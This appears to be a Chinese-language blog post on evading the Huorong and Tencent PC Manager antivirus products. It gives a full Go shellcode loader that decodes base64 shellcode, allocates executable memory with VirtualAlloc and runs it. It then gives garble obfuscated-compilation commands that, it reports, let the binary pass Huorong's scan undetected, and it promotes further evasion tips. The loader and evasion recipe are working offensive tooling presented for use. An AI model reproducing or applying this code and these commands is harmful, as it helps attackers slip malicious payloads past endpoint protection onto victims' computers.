火绒和电脑管家主要以静态规则为主,但是有时候静态杀起来也挺让人奔溃的,这边分享一下如何拿捏火绒和电脑管家
本文主要介绍如何通过garble进行混淆编译来绕过火绒,garble也可以绕过其他杀软,但是对火绒和电脑管家特别有效果,以火绒为例 下面来对比一下golang原生和garble混淆编译后得差距
来一个很原始的的shellcode loader代码,将原始shellcode base64后就进行加载执行
shellcode loader代码
package main
import (
"encoding/base64"
"log"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlMoveMemory")
)
func main() {
b64shellcode:="b64shellcode"
shellcode, err := base64.StdEncoding.DecodeString(b64shellcode)
if err != nil {
log.Fatalln(err)
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(5 * time.Second)
syscall.Syscall(addr, 0, 0, 0, 0)
}
golang原生编译
编译命令
go build -ldflags "-s -w -H=windowsgui" test.go
不出意外,直接编译出来的静态被杀了
garble 编译
在go环境下安装garble很简单,直接命令行下执行
go install mvdan.cc/garble@latest
然后使用garble进行编译
编译命令:
garble build -ldflags "-s -w -H=windowsgui" test.go
可以看到火绒一点反应都没有
感兴趣的话扫描二维码进行关注,后续会不断更新攻防实战技巧、免杀技巧以及一些新的技术